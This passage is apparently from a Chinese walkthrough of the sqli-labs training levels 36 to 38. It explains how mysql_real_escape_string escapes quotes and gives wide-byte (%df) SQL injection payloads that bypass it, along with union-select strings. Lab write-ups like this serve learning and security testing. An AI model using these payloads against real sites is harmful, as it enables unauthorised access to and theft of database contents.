这一关主要考查了 Bypass MySQL Real Escape String,mysql_real_escape_string 会检测并转义如下危险字符:
| 危险字符 | 转义后 |
|---|---|
| \ | \\ |
| ’ | \’ |
| " | \" |
| payload: |
?id=100%df%27%20union%20select%201,2,3--+
Less37
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔、延时盲注 | username=‘$uname’ |
依然使用了 和 Less-36 的防护方法:
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
payload:
1%df' union select 1,2#
Less38
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔、延时盲注 | username=‘$uname’ |
本文详细介绍了如何搭建sqlilabs环境,并逐步通关基础挑战1~20关和进阶挑战21~37关。通过分析源码,展示了各种SQL注入方式,包括联合查询、报错注入、布尔盲注、延时注入等,并提供了手工注入和sqlmap工具的使用示例。
4127






